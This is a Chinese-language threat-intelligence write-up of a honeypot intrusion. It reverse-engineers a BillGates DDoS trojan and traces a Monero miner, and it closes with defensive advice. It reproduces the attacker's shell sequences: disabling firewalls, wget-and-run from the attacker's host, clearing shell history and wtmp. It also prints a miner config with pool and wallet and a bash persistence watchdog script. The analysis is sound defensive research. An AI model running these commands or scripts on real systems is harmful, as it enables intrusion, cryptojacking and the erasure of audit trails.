實錘案分享 攻防騷對抗 | 黑產挖礦的路子居然這麼野了?
本文由安恆安全資料大腦團隊研究釋出。
安全資料大腦是安恆資訊基於10多年以來在政府、教育、金融等重要行業領域的積累,依託玄武盾、蜜罐網路、全球資產探測等能力與國內外數百家情報源,匯聚形成專業面向伺服器安全的威脅情報中心,主要針對我國重要行業伺服器遭受的網路攻擊、最新的動態進行追蹤研究,為使用者提供高質量情報資料。
1 前言
虛擬貨幣自誕生以來,就與黑產有著說不清道不明的關係,從一開始充當地下交易的介質,到成為逃避追蹤的勒索病毒的錢包,利益之所向,必是黑產之跟隨。
隨著虛擬貨幣在市場中的價格節節攀升,越來越多的黑產也不滿足於使用虛擬貨幣,轉而投身於挖礦的大軍中去。
當然,黑產們本身並不具備生產虛擬貨幣的必要條件,所以他們動起了肉雞挖礦的心思,雖然伺服器質量層次不齊,但聚沙成塔,積少成多,礦池的出現更是大大方便了黑產們挖礦的腳步。
2 起
最近,安恆威脅情報小組在蜜罐系統中發現黑產挖礦的蹤跡。黑產dalao,我一個搞網路安全的,你挖礦挖我這兒來了,是不是有點兒飄?要battle嗎?
某日,黑產的自動爆破指令碼費勁了千辛萬苦,終於成功突破了蜜罐(程式猿小哥釣魚中…),按照慣例,黑產dalao喜歡先檢視一下機器的配置和效能。
cat /proc/cpuinfo free –m
24核48執行緒的cpu和高達128G的記憶體,一定會讓他激動不已(程式猿小哥持續釣魚…)
先來一套關閉防火牆連招,iptabeles和SuSEfirewall通通關掉。
/etc/init.d/iptables stop service iptables stop SuSEfirewall2 stop reSuSEfirewall2 stop
接下來上wget,下載檔案並執行,清除歷史記錄(可惜被我們蜜罐記錄的清清楚楚)。
chattr -i /usr/bin/wget chmod 755 /usr/bin/wget yum install -y wget pkill sysxlv rm -f /etc/sysxlv rm -f /etc/sysxlv.1 wget -c -P /etc/ http://111.73.45.73:9789/sysxlv chmod 755 /etc/sysxlv nohup /etc/sysxlv > /dev/null 2>&1 & export HISTFILE=/dev/null rm -f /var/log/wtmp history –c exit
從上面我們可以猜測,之前還有一個編譯的版本是sysxlv.1,所以在啟動前要查詢並刪除這個版本。
蜜罐中捕獲的檔案和對應的hash值
來,讓我們一起走進資訊保安,看看這個黑產dalao究竟要在伺服器上做了些什麼
3 承
sysxlv看起來像是一個可執行程式,檢視一下基本資訊
確實是一個elf32的可執行程式,看樣子也沒有加殼,那就直接上反彙編利器IDA Pro。
看這架勢像是江湖上大名鼎鼎的BillGates木馬家族,該家族的木馬,兼修windows和Linux兩大平臺,功能齊全,操作簡單,攻擊者可以選取TCP-SYN Flood、UDP Flood、CC攻擊、DNS放大等多種攻擊方式對目標發起攻擊。
簡單看看這款木馬的功能和結構。
1.自校驗和反除錯
首先木馬會.rodata段中解密配置資訊,獲取檔案大小,與自身進行比較,並檢查程序中是否存在gdb,以達到反除錯的效果。
2. CheckGatesType
該函式中,木馬會對路徑進行判斷,通過給出的不同的返回值,木馬會採取不同的啟動方式。下表是不同返回值對應的不同條件。
3. MainBeikong
最常見的安裝方式為mainbeikong,即預設情況。該函式主要實現了一下幾個功能。 首先呼叫daemon()去fork一個新程序,而父程序會呼叫exit(0)退出,這樣通過 ps-a 無法發現啟動程序。
接著,會檢測是否存在之前安裝程式,如果存在檔案就將其刪除,並新增自啟動(setautostart)。 最後啟動主程序MainProcess。
4. MainProces
主程序主要進行了以下操作。
執行掛起,時間為0x7d0(2000ms),刪除升級臨時檔案,從/etc/resolv.conf讀取dns快取資訊,從conf.n讀取配置資訊,從cmd.n讀取正在執行的情況,獲取程式執行情況。
初始化CManager,掛起等待C2指令並執行。
下圖為該木馬的主要攻擊手段。
5. 資料解密
從靜態分析來看,木馬沒有直接將返回地址寫在程式中,而是通過程式解密得到的。下面用edb工具簡單的進行了動態除錯。
在ida中發現一段疑似加密的字串。
通過函式名,將斷點定位到該函式的起始點。
程式跑到0x08130830這個函式裡,把之前的字串導了進來。
經過解密後我們得到了返回地址。
4 轉
從上面的分析來看,這可能是一個抓雞的小黑產,用的也是主流的ddos木馬。
但是當我們翻開蜜罐日誌發現,事情遠不止那麼簡單。
就在他放完木馬執行並斷開連線的三分鐘後,黑產再次通過爆破的方式進入到了系統中。
/etc/init.d/iptables stop service iptables stop SuSEfirewall2 stop reSuSEfirewall2 stop chattr -i /usr/bin/wget chmod 755 /usr/bin/wget yum install -y wget pkill sysxlv rm -f /etc/sysxlv wget -c -P /etc/ http://111.73.45.73:9789/sysxlj wget -c -P /etc/ http://111.73.45.73:9789/config.json chmod 755 /etc/sysxlj nohup /etc/sysxlj > /dev/null 2>&1 & wget -c-P /etc/ http://111.73.45.73:9789/jourxlv chmod 755 /etc/jourxlv nohup /etc/jourxlv > /dev/null 2>&1 & export HISTFILE=/dev/null rm -f /var/log/wtmp history –c exit
還是熟悉的套路,不同的是這一次放了三個檔案,下面是檔案對應的hash值。
下面我們通過分析,來推測一下,這個黑產在我們蜜罐中還想做什麼。
先來看看config.json
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "worker-id": null, "ipv6": false, "restricted": true }, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 1, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 75, "pools": [ { "url": "mine.ppxxmr.com:3333", "user": "471Bu7QT79ufDEqDSoKnV3V3aycs5oohTgW5ZTuamAifPBM4M91my5gX9cpp9jGDgcCAuRTtwVKD6hsDAsY7AU19HWjrsbJ", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": 1 } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": null, "user-agent": null, "watch": false }
這是一個門羅幣挖礦的配置資訊。
礦池為:mine.ppxxmr.com:3333
錢包地址:471Bu7QT79ufDEqDSoKnV3V3aycs5oohTgW5ZTuamAifPBM4M91my5gX9cpp9jGDgcCAuRTtwVKD6hsDAsY7AU19HWjrsbJ
通過我們的資料大腦,還能知道,這個礦池與很多惡意樣本都有過通訊
再來看一下jourxlv這個shell指令碼。
註釋中提到了sysxlj,可能和作者有一定聯絡。
#!/bin/bash #Welcome like-minded friends to come to exchange. #We are a group of people who have a dream. #by:sysxlj #2016-03-10
首先關閉了iptables,並寫入rc.loacl實現開機啟動,並將sysxlj和本身備份到了/usr/bin下更改了名字。
service iptables stop > /dev/null 2>&1 & host_dir=`pwd` if [ "sh $host_dir/jourxlv &" = "$(cat /etc/rc.local | grep $host_dir/jourxlv | grep -v grep)" ]; then echo "" else echo "sh $host_dir/jourxlv &" >> /etc/rc.local fi cp sysxlj /usr/bin/aher cp jourxlv /usr/bin/keudl
下面的作用應該是做了程序守護,如果發現本指令碼以及sysxlj程序被結束,就從/usr/bin下拷貝回來,並重新執行。
while [ 1 ]; do Centos_sshd_killn=$(ps aux | grep "$host_dir/sysxlj" | grep -v grep | wc -l) if [[ $Centos_sshd_killn -eq 0 ]]; then if [ ! -f "$host_dir/sysxlj" ]; then if [ -f "/usr/bin/aher" ]; then cp /usr/bin/aher $host_dir/sysxlj chmod 755 ./sysxlj else echo "No weeget" fi fi ./sysxlj & elif [[ $Centos_sshd_killn -gt 1 ]]; then for killed in $(ps aux | grep "$host_dir/sysxlj" | grep -v grep | awk '{print $2}'); do Centos_sshd_killn=$(($Centos_sshd_killn-1)) if [[ $Centos_sshd_killn -eq 1 ]]; then continue else kill -9 $killed fi done else echo "" fi
通過前面的分析我們可以知道,gates木馬自身帶有完善的開機自啟,程序防殺的功能,所以雖然這個名為sysxlj的程式,和gates木馬sysxlv很像,但是大概率不是同一個程式,外加我們還發現了挖礦的配置指令碼,我們有理由推測,sysxlj這個程式應該是用來門羅幣挖礦,而且,從配置來看,會大量佔用伺服器的cpu(75%)。
通過搜尋sysxlj,我們在網上發現了這麼一條訊息。
這也恰好應證了我們的猜想。
5 合
本來以為這是一個抓雞放馬的小黑產,沒想到真正的目的是來利用我們伺服器剩餘資源來挖取門羅幣。
下面來總結一下本次攻擊的整個過程:
- 通過ssh爆破的方式,大規模掃描網段,嘗試獲取伺服器shell
- 進入機器後首先關閉iptables和SuSEfirewall防火牆
- 使用wget從其本地的伺服器下載ddos木馬,修改許可權並執行
- 下載挖礦程式,配置資訊,程序守護指令碼,在後臺利用伺服器資源挖礦
- 刪除日誌資訊
下面是有關本次入侵ip的資訊。
該ip來自江西上饒,被我們情報團隊以及多個開源情報標記為惡意主機。
下面是有關本次入侵檔案的資訊
防禦的建議:
- 杜絕ssh弱口令,並且定期更換。
- 訂購威脅情報,獲取ssh爆破黑名單,一鍵遮蔽。
日誌備份,定期檢視是否存在大量佔用系統資源的程序。